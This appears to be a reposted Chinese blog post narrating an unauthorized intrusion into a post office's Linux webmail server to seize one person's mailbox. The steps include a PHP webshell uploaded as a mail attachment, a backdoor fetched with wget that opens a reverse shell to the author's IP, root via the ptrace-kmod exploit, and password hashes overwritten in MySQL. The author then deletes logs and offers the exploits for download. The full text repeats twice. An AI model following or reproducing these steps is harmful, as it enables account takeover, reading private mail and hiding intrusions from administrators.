一次渗透入侵某邮局过程(LINUX8.0)
程序员文章站
2022-12-12 13:27:22
自从我承担起一个项目的负责人后,原本没有规律的生活现在更变的没有头绪了........时间的因素决定了自己无法去做一些想做的事情。但是有些时候又不得不去做一些不想做的事情。。。。... 08-10-08...
自从我承担起一个项目的负责人后,原本没有规律的生活现在更变的没有头绪了........时间的因素决定了自己无法去做一些想做的事情。但是有些时候又不得不去做一些不想做的事情。。。。。。
得到一个mail信箱地址,我想拿到这个信箱的密码。至于什么原因促使我必须要拿到此信箱的密码我在这里就保密。。。。。
要得到一个信箱的密码?暴力破解?枚举探测?no!
一听暴力、枚举,我心都麻。。。。我害怕暴力、更害怕枚举:)
首先打开此信箱的登陆地址 http://mail.xxx.com.cn
简单了看了一下也没发现什么漏洞,在打开其主页http://www.xxx.com.cn
看看全都是一些html页面,连asp都没有,心想这下不好办了,asp代码漏洞,数据库插入漏洞统统派不上用场,好不容易有个论坛栏目还是空地,估计还没开。按惯例吧,看看是什么系统,心想应该是linux的吧,一般像邮局这些单位都比较喜欢用这类系统
ping www.xxx.com.cn
pinging www.xxx.com.cn [61.xxx.xxx.xxx] with 32 bytes of data:
reply from 61.xxx.xxx.xxx: bytes=32 time
501 method
not implemented
method not implemented
to /index.html not supported.
invalid method in request
apache/1.3.12 server at www.xxx.com.cn port 80
connection to host lost.
看到了我想了解到的信息 apache/1.3.12 ,web是用apache架设的,从ping值以及80返回的信息来看,判断对方的主机应该是linux系统。(此以上判断方法只是做为常用的判断手法,但不包含所有的服务器都可以用此方法判断出正确的xx作系统,有些管理员没事干的时候可以改改ping值,改改web返回的版本信息,那么你得到的将会是一个错误的信息了)
从web的整个站点来看没有什么可利用的东西,只开了80、25、110端口,没开远程telnet管理,说不定还有_blank">防火墙。估计远程溢出等等程序都没有利用的余地了。没办法只好在回到mail.xxx.com.cn上看看,看着信箱登陆页面发呆着。。。。输入信箱用户名xxx密码:假密码(如果这时候要是碰巧输入的密码是对的那会如何?)
希望可以返回一些有用的错误信息,可见也很小气,只返回了,密码或者用户名错误,什么都没了。。。无语。。。。。。
眼睛一亮,上面这么大的图片写着免费注册,为什么不注册一个进去看看呢?正高兴的去点,怎么也点不开,还以为鼠标坏了呢。原来管理员把注册的连接地址去掉了,不允许注册。这是过分。。。
打开此页面仔细查看原代码,希望可以找到我需要的信息:(
用户名:
口 令:
忘记密码-->
ip安全
-->
看到了mail/login.php、getpw.html与cert/index.html
第一个是验证登陆页面login.php,请求后没找到可利用漏洞,getpw.htm?难道是找回密码的页面?可惜请求此页面提示找不到该页,我想是管理员删除了吧。在接着请求cert/index.html 老天!真好,竟然是注册新用户的页面。(ps:我在想为何管理员删除了getpwd.htm为何留下了这个申请页面?难道是为了方便自己开新用户?那他用admin帐号直接开用户不是更好?不解中。。。)
填好相关信息我注册了一个帐号为 test密码为test,登陆进去了高兴。。。。。。别人是不是在想就注册一个普通的信箱用户也高兴。。。。。:(
我的思路是上传一个webshell上去,然后就好办了。但是怎么上传上去呢,这个是个问题。注意有了,看到他是支持php的,那么apache的目录应该是不支持asp的,找了个php的webshell。接着,邮件,发给谁?当然是发给自己了 上传wehbshell.php然后ok点发送,就自己给自己发了一封信,附件里载着我的希望。。。webshell.php,现在的思路是如何知道webshell.php的真实访问地址,凭着入侵积累的经验,不停止的对附件构造伪造的请求,终于返回了我需要的错误信息,判断一下便的到了真实的地址为
http://mail.xxx.com.cn/file/webshell.php
好了,得到一个shell了
uname 得到确实是linux的系统
ls -l
看一下文件
现在只是一个webshell环境,xx作起来及不舒服,还是先得到一个cmd下的shell好,找出一个linux的反向连接程序,这样用nc将会得到一个本地shell,那么linux来说本地溢出提升到root权限不是更容易了。开始。。。
wget http://xxx.com/bd.c -o /tmp/door.c
把db.c传到tmp下改名为 door.c
注:只有对tmp目录里才有写的权限
gcc -o /tmp/door /tmp/door.c
把door.c编译
接着在php的shell里在输入
/tmp/door 211.xx.xxxx.xxx
要反弹连接到的机器ip(211.xxx.xxx.xxx为我的机器ip)
然后我在本机上开
nc -l -vv -p 4000
接着一会便出现了反弹成功的信息
uid 看了一下
接着提升权限到root
wget http://xxxx.xxx.xxxx/ptrace-kmod.c
下载到机器上
gcc -o ptrace-kmod ptrace-kmod.c
编译ptrace-kmod.c
运行ptrace-kmod
溢出成功,拿到了root权限
ls -l
看到确定webmail的目录位置
然后进入到webmail的目录里ls -l
看到config.php文件
接着cat config.php
得到mysql的用户名为:root 密码为xxx
mail的数据库为webmail
好了,本地进行登陆mysql
mysql -u root -p
输入密码后进入了mysql
查看我需要的信箱用户xxx
select * from webmail where pw_name=’xxx’;
返回
----------------------------------------------------------------
pw_name pw_domain pw_passwd pw_uid pw_gid pw_gecos pw_dir
pw_shell
xxx mail.xxx.com.cn ftczp2yoary7o 0 0 xxx /home/vp
opmail/domains/mail.xxx.com.cn/d/xxx 10485760
-------------------------------------------------------------------
看到了,我要的用户xxx的密码是 ftczp2yoary7o,很明显是加密过的,既然加密过的,我就改他密码,然后进他的邮箱
select * from webmail where pw_name=’test’;
看我自己刚才注册的用户名信息
----------------------------------------------------------------
pw_name pw_domain pw_passwd pw_uid pw_gid pw_gecos pw_dir
pw_shell
test mail.xxx.com.cn ft6gfs8htv26 0 0 test /home/vp
opmail/domains/mail.xxx.com.cn/d/xxx 10485760
-------------------------------------------------------------------
好了,看到我注册的test密码是ft6gfs8htv26
update webmail;
update webmail set pw_passwd=’ft6gfs8htv26 ’ where pw_name=’xxx’;
把用户名为xxx的密码改为test
顺便我也改了他的admin和webmaster的进去看一下,得到他的mail真的是没有管理员,难怪管理员没把那个申请的页面删除,还真是为了给自己用起来方便,呵呵。看完我所需要的信息后,在把他们的密码恢复。然后清除了日志,ok,此次入侵测试成功完成
对方的主机系统为linux 8.0的
上面用到的溢出代码,我都放在下再站的linux/exploits目录里,有需要的朋友可以自己去下。
得到一个mail信箱地址,我想拿到这个信箱的密码。至于什么原因促使我必须要拿到此信箱的密码我在这里就保密。。。。。
要得到一个信箱的密码?暴力破解?枚举探测?no!
一听暴力、枚举,我心都麻。。。。我害怕暴力、更害怕枚举:)
首先打开此信箱的登陆地址 http://mail.xxx.com.cn
简单了看了一下也没发现什么漏洞,在打开其主页http://www.xxx.com.cn
看看全都是一些html页面,连asp都没有,心想这下不好办了,asp代码漏洞,数据库插入漏洞统统派不上用场,好不容易有个论坛栏目还是空地,估计还没开。按惯例吧,看看是什么系统,心想应该是linux的吧,一般像邮局这些单位都比较喜欢用这类系统
ping www.xxx.com.cn
pinging www.xxx.com.cn [61.xxx.xxx.xxx] with 32 bytes of data:
reply from 61.xxx.xxx.xxx: bytes=32 time
501 method
not implemented
method not implemented
to /index.html not supported.
invalid method in request
apache/1.3.12 server at www.xxx.com.cn port 80
connection to host lost.
看到了我想了解到的信息 apache/1.3.12 ,web是用apache架设的,从ping值以及80返回的信息来看,判断对方的主机应该是linux系统。(此以上判断方法只是做为常用的判断手法,但不包含所有的服务器都可以用此方法判断出正确的xx作系统,有些管理员没事干的时候可以改改ping值,改改web返回的版本信息,那么你得到的将会是一个错误的信息了)
从web的整个站点来看没有什么可利用的东西,只开了80、25、110端口,没开远程telnet管理,说不定还有_blank">防火墙。估计远程溢出等等程序都没有利用的余地了。没办法只好在回到mail.xxx.com.cn上看看,看着信箱登陆页面发呆着。。。。输入信箱用户名xxx密码:假密码(如果这时候要是碰巧输入的密码是对的那会如何?)
希望可以返回一些有用的错误信息,可见也很小气,只返回了,密码或者用户名错误,什么都没了。。。无语。。。。。。
眼睛一亮,上面这么大的图片写着免费注册,为什么不注册一个进去看看呢?正高兴的去点,怎么也点不开,还以为鼠标坏了呢。原来管理员把注册的连接地址去掉了,不允许注册。这是过分。。。
打开此页面仔细查看原代码,希望可以找到我需要的信息:(
用户名:
口 令:
忘记密码-->
ip安全
-->
看到了mail/login.php、getpw.html与cert/index.html
第一个是验证登陆页面login.php,请求后没找到可利用漏洞,getpw.htm?难道是找回密码的页面?可惜请求此页面提示找不到该页,我想是管理员删除了吧。在接着请求cert/index.html 老天!真好,竟然是注册新用户的页面。(ps:我在想为何管理员删除了getpwd.htm为何留下了这个申请页面?难道是为了方便自己开新用户?那他用admin帐号直接开用户不是更好?不解中。。。)
填好相关信息我注册了一个帐号为 test密码为test,登陆进去了高兴。。。。。。别人是不是在想就注册一个普通的信箱用户也高兴。。。。。:(
我的思路是上传一个webshell上去,然后就好办了。但是怎么上传上去呢,这个是个问题。注意有了,看到他是支持php的,那么apache的目录应该是不支持asp的,找了个php的webshell。接着,邮件,发给谁?当然是发给自己了 上传wehbshell.php然后ok点发送,就自己给自己发了一封信,附件里载着我的希望。。。webshell.php,现在的思路是如何知道webshell.php的真实访问地址,凭着入侵积累的经验,不停止的对附件构造伪造的请求,终于返回了我需要的错误信息,判断一下便的到了真实的地址为
http://mail.xxx.com.cn/file/webshell.php
好了,得到一个shell了
uname 得到确实是linux的系统
ls -l
看一下文件
现在只是一个webshell环境,xx作起来及不舒服,还是先得到一个cmd下的shell好,找出一个linux的反向连接程序,这样用nc将会得到一个本地shell,那么linux来说本地溢出提升到root权限不是更容易了。开始。。。
wget http://xxx.com/bd.c -o /tmp/door.c
把db.c传到tmp下改名为 door.c
注:只有对tmp目录里才有写的权限
gcc -o /tmp/door /tmp/door.c
把door.c编译
接着在php的shell里在输入
/tmp/door 211.xx.xxxx.xxx
要反弹连接到的机器ip(211.xxx.xxx.xxx为我的机器ip)
然后我在本机上开
nc -l -vv -p 4000
接着一会便出现了反弹成功的信息
uid 看了一下
接着提升权限到root
wget http://xxxx.xxx.xxxx/ptrace-kmod.c
下载到机器上
gcc -o ptrace-kmod ptrace-kmod.c
编译ptrace-kmod.c
运行ptrace-kmod
溢出成功,拿到了root权限
ls -l
看到确定webmail的目录位置
然后进入到webmail的目录里ls -l
看到config.php文件
接着cat config.php
得到mysql的用户名为:root 密码为xxx
mail的数据库为webmail
好了,本地进行登陆mysql
mysql -u root -p
输入密码后进入了mysql
查看我需要的信箱用户xxx
select * from webmail where pw_name=’xxx’;
返回
----------------------------------------------------------------
pw_name pw_domain pw_passwd pw_uid pw_gid pw_gecos pw_dir
pw_shell
xxx mail.xxx.com.cn ftczp2yoary7o 0 0 xxx /home/vp
opmail/domains/mail.xxx.com.cn/d/xxx 10485760
-------------------------------------------------------------------
看到了,我要的用户xxx的密码是 ftczp2yoary7o,很明显是加密过的,既然加密过的,我就改他密码,然后进他的邮箱
select * from webmail where pw_name=’test’;
看我自己刚才注册的用户名信息
----------------------------------------------------------------
pw_name pw_domain pw_passwd pw_uid pw_gid pw_gecos pw_dir
pw_shell
test mail.xxx.com.cn ft6gfs8htv26 0 0 test /home/vp
opmail/domains/mail.xxx.com.cn/d/xxx 10485760
-------------------------------------------------------------------
好了,看到我注册的test密码是ft6gfs8htv26
update webmail;
update webmail set pw_passwd=’ft6gfs8htv26 ’ where pw_name=’xxx’;
把用户名为xxx的密码改为test
顺便我也改了他的admin和webmaster的进去看一下,得到他的mail真的是没有管理员,难怪管理员没把那个申请的页面删除,还真是为了给自己用起来方便,呵呵。看完我所需要的信息后,在把他们的密码恢复。然后清除了日志,ok,此次入侵测试成功完成
对方的主机系统为linux 8.0的
上面用到的溢出代码,我都放在下再站的linux/exploits目录里,有需要的朋友可以自己去下。